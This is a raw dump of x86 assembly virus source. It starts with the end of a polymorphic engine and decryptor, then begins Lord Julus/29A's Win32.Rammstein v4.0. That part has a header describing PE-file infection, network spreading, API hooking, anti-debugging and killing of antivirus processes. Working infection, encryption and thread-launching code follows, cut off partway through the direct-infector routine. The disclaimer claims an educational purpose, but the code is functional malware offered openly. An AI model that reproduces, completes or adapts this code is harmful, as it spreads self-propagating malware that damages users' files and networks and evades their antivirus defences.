mov cl,byte ptr [LoopReg+ebp]


mov edx,1
call AddSubREGINM

pop ebx
mov eax,edi
sub eax,ebx
push eax
mov al,75h
stosb
pop eax
mov ah,0feh
xchg al,ah
sub al,ah
stosb

call AddShit

mov cl,byte ptr [LoopReg+ebp]


call AddPopREG

call AddShit

mov al,byte ptr [LoopReg+ebp]


call FreeReg

mov cl,byte ptr [KeyReg+ebp]


call AddPopREG

call AddShit

mov cl,_EBP
call AddPopREG

call AddShit

mov al,0c3h
stosb

pop esi
sub edi,esi
mov eax,edi
ret

;
; Poly engine data
;
_EAX equ 0
_ECX equ 1
_EDX equ 2
_EBX equ 3
_ESP equ 4
_EBP equ 5
_ESI equ 6
_EDI equ 7
RegStatus db 8 dup(0)
KeyReg db 0
LoopReg db 0
CrptKey dd 0
CodeSize dd 0
Rnd db ?

;
; returns AL: selected register
;
GetReg:
xor eax,eax
mov al,byte ptr [CrptKey+ebp]
GetReg1:
and al,7
lea ecx,RegStatus+ebp
add ecx,eax
mov dl,byte ptr [ecx]
or dl,dl
jz GetReg0
inc al
jmp GetReg1
GetReg0:
mov byte ptr [ecx],1
ret

;
; AL: selected register to free
;
FreeReg:
and eax,7
lea ecx,RegStatus+ebp
add ecx,eax
mov byte ptr [ecx],0
ret

;
; Instruction generators
;
; EDI: Destination code
; ECX: Reg (if applicable)
; EDX: Inm (if applicable)
;

AddPushREG:
mov al,050h
add al,cl
stosb
ret

AddPopREG:
mov al,058h
add al,cl
stosb
ret

AddMovREGINM:
mov al,0b8h
add al,cl
stosb
mov eax,edx
stosd
ret

AddMovREGMEMEBP:
mov al,08bh
stosb
mov al,08h
mul cl
add al,85h
stosb
mov eax,edx
stosd
ret

AddXorMEMEBPREG:
mov al,031h
stosb
mov al,08h
mul cl
add al,45h
stosb
xor al,al
stosb
ret

AddAddREGINM:
or cl,cl
jnz AddAddREGINM0
mov al,05h
stosb
jmp AddAddREGINM1
AddAddREGINM0:
mov al,081h
stosb
mov al,0c0h
add al,cl
stosb
AddAddREGINM1:
mov eax,edx
stosd
ret

AddSubREGINM:
or cl,cl
jnz AddSubREGINM0
mov al,2dh
stosb
jmp AddSubREGINM1
AddSubREGINM0:
mov al,081h
stosb
mov al,0e8h
add al,cl
stosb
AddSubREGINM1:
mov eax,edx
stosd
ret
;
; Yet another lame shit generator by Bumblebee ;)
;
AddShit:
mov eax,dword ptr [CrptKey+ebp]
add byte ptr [Rnd+ebp],al
and al,1
jz AddShit2
xor eax,eax
mov al,byte ptr [Rnd+ebp]
lea edx,shit0+ebp
and al,7
mov cl,2
mul cl
add edx,eax
mov ax,word ptr [edx]
stosw

mov al,byte ptr [Rnd+ebp]


and al,2
jz AddShit2

lea edx,shit1+ebp
mov al,byte ptr [Rnd+ebp]
and al,3
mov cl,2
mul cl
add edx,eax
mov ax,word ptr [edx]
stosw
stosw
ret

AddShit2:
xor eax,eax
mov al,byte ptr [Rnd+ebp]
lea edx,shit0+ebp
and al,7
mov cl,2
mul cl
add edx,eax
mov ax,word ptr [edx]
stosw

lea edx,shit0+ebp
add edx,2
mov al,byte ptr [Rnd+ebp]
and al,3
mov cl,2
mul cl
add edx,eax
mov ax,word ptr [edx]
stosw

ret
; some do-nothing opcodes
shit0: dw 9090h,0db87h,0c987h,0d287h,4840h,434bh,4941h,4a42h
shit1: dw 0d0f7h,0d3f7h,0d1f7h,0d2f7h

crptSecondEND label byte


; Decryptor for the second layer.
secondLayerDecrypt:
push ebp
mov ebp,esp
push ecx
mov ebp,dword ptr [ebp+4]
mov ecx,crptSecondEND-crptSecondINI
secondLayerLoop:
not byte ptr [ebp]
inc ebp
loop secondLayerLoop
pop ecx ebp
ret

crptEND label byte


vEnd label byte

; This is a fake decryptor for the 1st generation. Allows the virus to
; skip the second layer decryptor.
crypt:
pop edx
lea edx,crptSecondINI
push edx
ret
;
; Temp data. Not stored into the file, only 1st generation.
;
BUFFERBEGIN label byte
stringBuffer db STRINGTOP dup(0)
tmpPath db STRINGTOP dup(0)
address dd 0
names dd 0
ordinals dd 0
nexports dd 0
expcount dd 0
memHnd dd 0

fHnd dd 0
fhmap dd 0
mapMem dd 0

fileSize dd 0
fileAttrib dd 0
fileTime0 dd 0,0
fileTime1 dd 0,0
fileTime2 dd 0,0
pad dd 0
fNameAddr dd 0
gensize dd 0
virtsize dd 0
myRVA dd 0
fstSec dd 0
find_data WIN32_FIND_DATA <0>
findHnd dd 0
semHook db 0
EPORva dd 0
BUFFEREND label byte
BUFFERSIZE equ BUFFEREND-BUFFERBEGIN

;
; For 1st generation only.
;
fakeHost:
push 0h
call ExitProcess
Ends
End inicio
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMM.ASM]ÄÄÄ
comment $
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛß ßÛß ßÛß ßÛÛ
ÛÛ Û Û Û Û Û ÛÛ
ÛÛÛßßß ÜÛÜ Û ÛÛ
ÛÛ ßßßßÛßßßß Û Û ÛÛ
ÛÛ Û ÜÛ Û ÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜ ÜÜÜ ÜÜÜ


Û ÜÜÜ Û Û ÜÜÜ Û Û Ü Ü Û Û Ü Ü Û Û ÜÜÜÜÛ ÜÛßÛÜ Û ÜÜÜÜÛ ÛÜ ÜÛ Û ßÛÛ Û
Û Ü ÜÜÛ Û ÜÜÜ Û Û Û Û Û Û Û Û Û ÛÜÜÜÜ Û ÛÜ ÜÛ Û ÜÜÜÛÜ ÜÛ ÛÜ Û ÛÜß Û
ÛÜÛÜÜÜÛ ÛÜÛ ÛÜÛ ÛÜÛßÛÜÛ ÛÜÛßÛÜÛ ÛÜÜÜÜÜÛ ßßß ÛÜÜÜÜÜÛ ÛÜÜÜÛ ÛÜÛßÛÜÛ

v4.0

= Final Release =

(c) Lord Julus / 29A (Nov 2000)

===================================================================

DISCLAIMER

This is the source code of a virus. Possesing, using, spreading of


this source code, compiling and linking it, possesing, using and
spreading of the executable form is illegal and it is forbidden.
Should you do such a thing, the author may not be held responsible
for any damage that occured from the use of this source code. The
actual purpose of this source code is for educational purposes and
as an object of study. This source code comes as is and the author
cannot be held responsible for the existance of other modified
variants of this code.

====================================================================

History:

09 Sep 2000 - Today I made a small improvement. When the dropper roams
the net onto another computer it remains in the windows
dir and it represents a weak point which might be noticed
by an av. So, now, the virus will smartly remove either
the dropper or the entry in the win.ini file if one of
them is missing. If both are there, they are left alone
because they will remove eachother. Added Pstores.exe to
the black list. Thanks to Evul for pointing me out that
it is a rather peculiar file and cannot be safely
infected.

22 Jul 2000 - The virus has moved up to version 4.0. Today I added
the network infector. It comes in a separate thread.
For the moment looks like everything works fine. Will
add a timer to it so that it does not hang in huge
networks... Virus is above 13k now... Waiting for the
LZ!

18 Jul 2000 - Fixed a bug in the section increase algorithm: if you


want to have a good compatibility you NEED to place the
viral code exactly at the end of file and NOT at the
end of the VirtualSize or SizeOfRawData as it appears
in the section header, because many files get their
real size calculated at load time in some way.
HURRAY!!! YES!! I fixed a shitty bug! If you do section
add you MUST check also if any directory VA follows
immediately the last section header so that you will
not overwrite it. Now almost all files work ok under
NT!!!! However, I don't seem to be able to make
outlook.exe get infected so I put it on the black list.
The other MsOffice executables get infected correctly
on both Win9x and WinNT.

17 Jul 2000 - Have started some optimizations and proceduralizations


(;-)))). The virus is quickly going towards 13k so I
am quite anxious to implement my new LZ routine to
decrease it's size. I fixed a bug: WinNT NEEDS the
size of headers value to be aligned to file alignment.

14 Jul 2000 - Worked heavily on the WindowsNT compatibility. In this


way I was able to spot 2 bugs in the infection routine,
one regarding RVA of the new section and one regarding
the situation when the imports cannot be found by the api
hooker. Still thinking if I should rearrange relocs also?
Now files are loaded under WindowsNT (NT image is correct)
but they cannot fully initialize. Will research some
more.

03 Jun 2000 - Added an encryption layer with no key, just a rol/ror


routine on parity. Also added some MMX commands. Fixed
a few things.

22 May 2000 - Added EPO on files that have the viral code outside the
code section. Basically from now on the entry point stays
only into the code section. The epo is not actually epo,
because as I started to code it I decided to make it very
complicated so I will include the complicated part in the
next release. It will be the so called LJILE32 <Lord
Julus' Instruction Length Engine 32>. This engine will
allow me to have an exact location of the opcode for each
instruction so we will be able to look up any call, jump
or conditional jump to place our code call there. So for
this version only a jump at the original eip.

21 May 2000 - Fixed a bug in the api hooker... I forgot that some import
sections have a null pointer to names. Also added the
infection by last section increase for files who cannot
be infected otherwise. All files should be touched now.
Also I fixed the problem with the payload window not
closing after the process closed. I solved half of it
as some files like wordpad.exe still have this problem.

20 May 2000 - Prizzy helped me a lot by pointing out to me that in


order to have the copro working ok I need to save it's
environment so that the data of the victim process in
not altered. thanx!! Also fixed the cpuid read.

14 May 2000 - Released first beta version to be tested

====================================================================
Virus Name ........... Win32.Rammstein
Virus Version ........ 4.0
Virus Size ........... 14002 (debug), 15176 (release)
Virus Author ......... Lord Julus / 29A
Release Date ......... 30 Nov 2000
Virus type ........... PE infector
Target OS ............ Win95, Win98, WinNT, Win2000
Target Files ......... many PE file types:
EXE COM ACM CPL HDI OCX PCI
QTC SCR X32 CNV FMT OCM OLB WPC
Append Method ........ The virus will check wether there is enough room
for it inside the code section. If there is not
enough room the virus will be placed at end. If
there is it will be inserted inside the code
section at a random offset while the original
code will be saved at end. The placing at the end
has also two variants. If the last section is
Resources or Relocations the virus will insert a
new section before the last section and place the
data there, also rearranging the last section's
RVAs. If the last section is another section a
new section will be placed at end. The name of
the new section is a common section name which is
choosed based on the existing names so that it
does not repeat. If the virus is placed at the
end just a small EPO code is used so that the eip
stays inside the code section.
A special situation occurs if there is no enough
space to add a new section header, for example
when the code section starts at RVA 200 (end of
headers). In this situation the virus will
increase the last section in order to append.
Infect Methods ....... -Direct file attacks: the virus will attack
specific files in the windows directory, files
which are most used by people
-Directory scan: all files in the current
directory will be infected, as well as 3 files in
the system directory and 3 in the windows
directory
-Api hooking (per-process residency): the virus
hooks a few api calls and infects files as the
victim uses the apis
-Intranet spreading: the virus spreads into the
LAN using only windows apis
Features ............. Multiple threads: the virus launches a main
thread. While this thread executes, in the same
time, the original thread returns to host, so no
slowing down appears. The main viral thread
launches other 6 threads and monitors their
execution. If one of the threads is not able to
finish the system is hanged because it means
somebody tryied to patch some of the thread code.
Heavy anti-debugging: i tried to use almost all
the anti-debug and anti-emulation stuff that I
know
FPU: uses fpu instructions
Crc32 search: uses crc32 to avoid waste of space
Memory roaming: allocates virtual memory and
jumps in it
Interlaced code: this means that some threads
share the same piece of code and the virus is
careful to let only one in the same time
otherwise we get some of the variables distroyed.
Preety hard to be emulated by avs.
Also features semaphores, timers
Marks infection using the Pythagoreic numbers.
SEH: the virus creates 9 SEH handlers, for each
thread and for the main thread.
(*) Polymorphic .......... Yes (2 engines: Modularis, LJFPE32)
(*) Metamorphic .......... Yes (mild custom metamorphic engine)
Encrypted ............ Yes
Safety ............... Yes (avoids infecting many files)
Kill AV Processes .... Yes
Payload .............. On 14th every even month the infected process
will launch a thread that will display random
windows with some of the Rammstein's lyrics.
Pretty annoying... Probably this is the first
virus that actually creates real windows and
processes their messages. The windows shut down
as the victim process closes.

(*) Feature not included in this version.

Debug notes: please note that this source code features many ways of
debugging. You may turn on and off most of the virus's features by
turning some variables to TRUE or FALSE.
====================================================================

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.586p ;
.model flat, stdcall ;
;
extrn MessageBoxA:proc ;
extrn ExitProcess: proc ;
;
TRUE = 1 ;
FALSE = 0 ;
DEBUG = TRUE ;debug on?
ANTIEMU = TRUE ;anti-debuggin/emulation?
JUMP = TRUE ;allocate and jump in mem?
DIRECT = TRUE ;direct action?
ANTIAV = TRUE ;anti-av feature?
APIHOOK = TRUE ;hook imported apis?
MAINTHREAD = TRUE ;launch a main thread?
PAYLOAD = TRUE ;use payload?
RANDOMIZE_ENTRY = TRUE ;randomize code sec entry?
EPO = TRUE ;Use EPO
MMX = FALSE ;
NETWORKINFECTION = TRUE ;
VIRUSNOTIFYENTRY = FALSE ;msgbox at virus start?
VIRUSNOTIFYEXIT = FALSE ;msgbox at virus end?
VIRUSNOTIFYHOOK = FALSE ;
MAINTHREADSEH = TRUE ;
THREAD1SEH = TRUE ;
THREAD2SEH = TRUE ;
THREAD3SEH = TRUE ;
THREAD4SEH = FALSE ;
THREAD5SEH = FALSE ;
THREAD6SEH = TRUE ;
CHECKSUM = TRUE ;
WE_ARE_LAST = 0 ;
RELOCATIONS_LAST = 1 ;
RESOURCES_LAST = 2 ;
NOT_AVAILABLE = 0 ;
AVAILABLE = 1 ;
METHOD_MOVE_CODE = 0 ;
METHOD_APPEND_AT_END = 1 ;
METHOD_INCREASE_LAST = 2 ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
IF MMX ;
include mmx.inc ; MMX !
ENDIF ;
;
@endsz macro ;locate end of asciiz
local nextchar ;string
;
nextchar: ;
lodsb ;
test al, al ;
jnz nextchar ;
endm ;
;
include w32nt_lj.inc ;
include w32us_lj.inc ;
;
; Credits to jp, vecna, prizzy ;calculate crc32
mCRC32 equ 0C1A7F39Ah ;
mCRC32_init equ 09C3B248Eh ;
crc32 macro string ;
crcReg = mCRC32_init ;
irpc _x,<string> ;
ctrlByte = '&_x&' xor (crcReg and 0FFh)
crcReg = crcReg shr 8 ;
rept 8 ;
ctrlByte = (ctrlByte shr 1) xor (mCRC32 * (ctrlByte and 1))
endm ;
crcReg = crcReg xor ctrlByte ;
endm ;
dd crcReg ;
endm ;
;
noter macro string ;this NOTs a string
irpc _x,<string> ;
notbyte = not('&_x&') ;
db notbyte ;
endm ;
db not(0) ;
endm ;
;
PUSH_POP STRUCT ;
pop_edi dd ? ;helps us to pop stuff...
pop_esi dd ? ;
pop_ebp dd ? ;
pop_esp dd ? ;
pop_ebx dd ? ;
pop_edx dd ? ;
pop_ecx dd ? ;
pop_eax dd ? ;
PUSH_POP ENDS ;
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
.data ;
db 0 ;
;
.code ;
;
start: ;
IF DEBUG ;
jmp xxx ;
debug_start db 'Here is the start of the virus.',0 ;Really!! ;-)
xxx: ;
ENDIF ;
pushad ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
call getdelta ; Get the delta handle
;
getdelta: ;
pop ebp ;
sub ebp, offset getdelta ;
or ebp, ebp ;check if first gen
jnz no_first ;
mov [ebp+firstgen], 1 ;mark the first generation
jmp get_base ;
;
no_first: ;
mov [ebp+firstgen], 0 ;
;
get_base: ;
call getimagebase ; And the imagebase...
;
getimagebase: ;
pop eax ;
;
ourpoint: ;
sub eax, 1000h+(ourpoint-start)-1 ;before this eax equals
;imagebase+RVA(ourpoint)+
;RVA(code section)
;
mov dword ptr [ebp+imagebase], eax ;
mov dword ptr [ebp+ourimagebase], eax ;
jmp over_data ;
;
imagebase dd 00400000h ;
ourimagebase dd 0 ;
firstgen dd 0 ;
;
over_data: ;
cmp [ebp+firstgen], 1 ;
je EncryptedArea ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
call DecryptOffset ;very light internal
;decrypt module
DecryptOffset: ;no key, just ror/rol
pop esi ;
add esi, (EncryptedArea - DecryptOffset) ;
mov edi, esi ;
mov ecx, (end2-EncryptedArea) ;
;
DecryptLoop: ;
lodsb ;
mov ebx, ecx ;
inc bl ;
jp parity ;
ror al, cl ;
jmp do_decrypt ;
;
parity: ;
rol al, cl ;
;
do_decrypt: ;
stosb ;
loop DecryptLoop ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
EncryptedArea: ;
mov [ebp+delta], ebp ;save additional deltas
IF ANTIEMU ;
mov [ebp+delta2], ebp ;
ENDIF ;
mov eax, [ebp+imagebase] ;
mov dword ptr [ebp+adjust], eax ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
lea eax, [ebp+ExceptionExit] ; Setup a SEH frame
push eax ;
push dword ptr fs:[0] ;
mov fs:[0], esp ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov [ebp+copying], 0 ;reset our syncronization
mov [ebp+in_list], 0 ;variables
mov [ebp+free_routine], AVAILABLE ;
mov [ebp+crt_dir_flag], 3 ;
mov [ebp+apihookfinish], 0 ;
;
lea esi, [ebp+module_names] ;decrypt module names
mov ecx, module_names_length ;
call not_list ;
;
mov eax, [esp+28h] ;first let's locate the
lea edx, [ebp+kernel32_name] ;kernel32 base address
call LocateKernel32 ;
jc ReturnToHost ;
mov dword ptr [ebp+k32], eax ;
lea esi, dword ptr [ebp+kernel32apis] ;
lea edx, dword ptr [ebp+kernel32addr] ;
mov ecx, kernel32func ;
call LocateApis ;and kernel32 apis
jc ReturnToHost ;
;
lea edi, dword ptr [ebp+advapi32_name] ;locate advapi32
call LocateModuleBase ;
jc ReturnToHost ;
mov dword ptr [ebp+a32], eax ;
lea esi, dword ptr [ebp+advapi32apis] ;
lea edx, dword ptr [ebp+advapi32addr] ;
mov ecx, advapi32func ;
call LocateApis ;and the apis
jc ReturnToHost ;
;
lea edi, dword ptr [ebp+user32_name] ;locate user32
call LocateModuleBase ;
jc ReturnToHost ;
mov dword ptr [ebp+u32], eax ;
lea esi, dword ptr [ebp+user32apis] ;
lea edx, dword ptr [ebp+user32addr] ;
mov ecx, user32func ;
call LocateApis ;and it's apis
jc ReturnToHost ;
;
lea edi, dword ptr [ebp+gdi32_name] ;locate gdi32
call LocateModuleBase ;
jc ReturnToHost ;
mov dword ptr [ebp+g32], eax ;
lea esi, dword ptr [ebp+gdi32apis] ;
lea edx, dword ptr [ebp+gdi32addr] ;
mov ecx, gdi32func ;
call LocateApis ;and it's apis
jc ReturnToHost ;
;
lea edi, dword ptr [ebp+mpr32_name] ;locate mpr32
call LocateModuleBase ;
jc NoNetworkApis ;
mov dword ptr [ebp+m32], eax ;
lea esi, dword ptr [ebp+mpr32apis] ;
lea edx, dword ptr [ebp+mpr32addr] ;
mov ecx, mpr32func ;
call LocateApis ;and it's apis
jc NoNetworkApis ;
;
mov [ebp+netapis], TRUE ;
jmp get_img ;
;
NoNetworkApis: ;
mov [ebp+netapis], FALSE ;
;
get_img: ;
lea edi, dword ptr [ebp+img32_name] ;locate and save
call LocateModuleBase ;the checksum procedure
jc no_image ;
call @checksum ;
db "CheckSumMappedFile", 0 ;
@checksum: ;
push eax ;
call [ebp+_GetProcAddress] ;
mov [ebp+checksumfile], eax ;
;
no_image: ;
lea esi, [ebp+module_names] ;recrypt names
mov ecx, module_names_length ;
call not_list ;
;
IF VIRUSNOTIFYENTRY ;
push 0 ;
call entrytext1 ;
db 'Rammstein viral code start!', 0 ;
entrytext1: ;
call entrytext2 ;
db 'Rammstein viral code start!', 0 ;
entrytext2: ;
push 0 ;
call [ebp+_MessageBoxA] ;
ENDIF ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
call smash_dropper ;kill dropper
call getversion ;get the windoze version
;
WindowsVersion OSVERSIONINFOA <SIZE OSVERSIONINFOA>;
;
getversion: ;
call [ebp+_GetVersionExA] ;
mov byte ptr [ebp+version], al ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mov [ebp+skipper], 0 ;
IF MMX ;
pushfd ;push flags
pop eax ;get flags
bt eax, 21h ;test for mmx presence
jnc no_mmx_present ;
mov [ebp+mmx], TRUE ;set it!
jmp done_mmx ;
;
no_mmx_present: ;
mov [ebp+mmx], FALSE ;
;
done_mmx: ;
ENDIF ;
IF JUMP ;allocate some more
;
cmp [ebp+method], METHOD_MOVE_CODE ;if code is not moved
jne restore_epo ;skip memory jump
;
call [ebp+_VirtualAlloc], 0, virussize+1000h, MEM_COMMIT+MEM_RESERVE,\
PAGE_EXECUTE_READWRITE
or eax, eax ;memory
jnz no_memory_error ;
;
call fatalexit ;we cannot continue...
db "Not enough memory!", 0 ;
;
fatalexit: ;if an error occurs, then
push 0 ;simulate a fatal exit
call [ebp+_FatalAppExitA] ;
;
no_memory_error: ;
mov [ebp+memory], eax ;otherwise copy the
lea esi, [ebp+start] ;virus to memory and
mov edi, eax ;
mov ecx, virussize ;
rep movsb ;
add eax, offset resident_area - offset start;
push eax ;
ret ;continue there...
;
restore_epo: ;
IF EPO ;
mov edi, [ebp+addressofentrypoint] ;restore epo
add edi, [ebp+imagebase] ;
lea esi, [ebp+saved_code] ;
lodsd ;
stosd ;
lodsd ;
stosd ;
ENDIF ;
;
resident_area: ;
call getdelta2 ;get delta again...
;
getdelta2: ;
pop ebp ;
sub ebp, offset getdelta2 ;
mov [ebp+delta], ebp ;
IF ANTIEMU ;
mov [ebp+delta2], ebp ;
ENDIF ;
;
cmp [ebp+firstgen], 1 ;
je grunge ;
;
cmp [ebp+method], METHOD_MOVE_CODE ;check the method
jne second_method ;
;
mov esi, [ebp+codesource] ;if here, we must move
mov edi, [ebp+codedestin] ;some code back to where
add esi, [ebp+imagebase] ;it belongs...
add edi, [ebp+imagebase] ;
mov ecx, virussize ;
rep movsb ;
;
second_method: ;
;
grunge: ;
ENDIF ;
IF MAINTHREAD ;now we launch the main
lea ebx, [ebp+mainthreadid] ;thread
lea eax, [ebp+MainThread] ;
call [ebp+_CreateThread], 0, 0, eax, ebp, 0, ebx;
cmp [ebp+firstgen], 1 ;if it is the first gen
jne do_return ;than wait for it to
call [ebp+_WaitForSingleObject], eax, INFINITE ;finish
;
do_return: ;otherwise, return to host
jmp ReturnToHost ;here...
ENDIF ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
MainThread proc ;
call @MainThreadDelta ;for our main thread get
@MainThreadDelta: ;the delta handle again
pop ebp ;
sub ebp, offset @MainThreadDelta ;
;
IF MAINTHREADSEH ;
lea eax, [ebp+MainExceptionExit] ; Setup a SEH frame
push eax ;
push dword ptr fs:[0] ;
mov fs:[0], esp ;
;
no_main_seh: ;
ENDIF ;
lea edx, [ebp+OurThreads] ;Prepare to create the
lea ebx, [ebp+OurThreadIds] ;threads...
lea edi, [ebp+OurThreadHandles] ;
mov ecx, 6 ;
;
create_loop: ;
mov eax, [edx] ;
add eax, ebp ;
call StartThread ;start them and set
add edx, 4 ;them
add ebx, 4 ;
add edi, 4 ;
loop create_loop ;
;
cmp [ebp+no_imports], TRUE ;
jne no_per_process_skip ;
mov [ebp+skipper], 1 ;
;
no_per_process_skip: ;
lea eax, [ebp+offset Semaphore] ;now prepare a semaphore
push eax ;to monitor their
push 31 ;execution
push 0 ;
push 0 ;
call [ebp+_CreateSemaphoreA] ;
mov [ebp+hsemaphore], eax ;
;
lea edi, [ebp+OurThreadHandles] ;and now start them...
mov ecx, 6 ;
;
resume_loop: ;
push ecx ;
push dword ptr [edi] ;
call [ebp+_ResumeThread] ;resume!
add edi, 4 ;
pop ecx ;
loop resume_loop ;
;
push FALSE ;Wait forever until all
push INFINITE ;threads finish...
push TRUE ;(if the mainthread is
lea eax, [ebp+offset OurThreadHandles] ;TRUE, by this time the
push eax ;host is already running
push 6 ;in parallel with this
call [ebp+_WaitForMultipleObjectsEx] ;thread)
;
lea eax, [ebp+test_semaphore] ;now get the last count
push eax ;of the semaphore...
push 1 ;Should be 6*5...
push [ebp+hsemaphore] ;
call [ebp+_ReleaseSemaphore] ;
;
push [ebp+hsemaphore] ;close semaphore
call [ebp+_CloseHandle] ;
;
mov eax, [ebp+test_semaphore] ;now get the value
mov ebx, offset where_to - offset jump ;calculate jump offset
sub ebx, 30 ;5*6
add eax, ebx ;and make a jump with it
add eax, offset jump ;If the value is smaller
add eax, ebp ;
jump: jmp eax ;then it should
jmp jump ;mean someone fucked with
jmp jump ;our threads and probably
jmp jump ;the execution falls here
jmp jump ;where it hangs... This
jmp jump ;will give the user the
jmp jump ;impression that he played
jmp jump ;with hot stuff...
;
where_to: ;
IF MAINTHREAD ;if we have a mainthread
db 0E9h ;we must kill it...
dd offset KillThread - $-4 ;
ELSE ;
db 0E9h ;otherwise, simply return
dd offset ReturnToHost - $-4 ;to host...
ENDIF ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
StartThread: ;
pusha ;here we create threads
call [ebp+_CreateThread], 0, 0, eax, ebp, CREATE_SUSPENDED, ebx
mov [edi], eax ;
push THREAD_PRIORITY_HIGHEST ;and set their priority
push dword ptr [ebx] ;
call [ebp+_SetThreadPriority] ;
popa ;
db 0c3h ;ret
ret ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
OurThreadIds: ;
Thread_1_id dd 0 ;Direct infector
Thread_2_id dd 0 ;Directory infector
Thread_3_id dd 0 ;AV killed
Thread_4_id dd 0 ;Anti-debugging
Thread_5_id dd 0 ;Api hooker
Thread_6_id dd 0 ;Network infector
;
OurThreadHandles: ;
Thread_1_handle dd 0 ;
Thread_2_handle dd 0 ;
Thread_3_handle dd 0 ;
Thread_4_handle dd 0 ;
Thread_5_handle dd 0 ;
Thread_6_handle dd 0 ;
hsemaphore dd 0 ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;Û This Thread is the direct infector thread
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Thread_1_StartAddress proc PASCAL tdelta: dword ;
call @Thread1Delta ;I have been experiencing
@Thread1Delta: ;problems with delta pass
pop ebp ;via the parameter so I
sub ebp, offset @Thread1Delta ;decided to read it again
;
IF THREAD1SEH ;
lea eax, [ebp+Thread1Exception] ; Setup a SEH frame
push eax ;
push dword ptr fs:[0] ;
mov fs:[0], esp ;
ENDIF ;
;
IF DIRECT ;
lea esi, [ebp+offset direct_list] ;point file names in the
mov ecx, direct_list_len ;Windows directory and
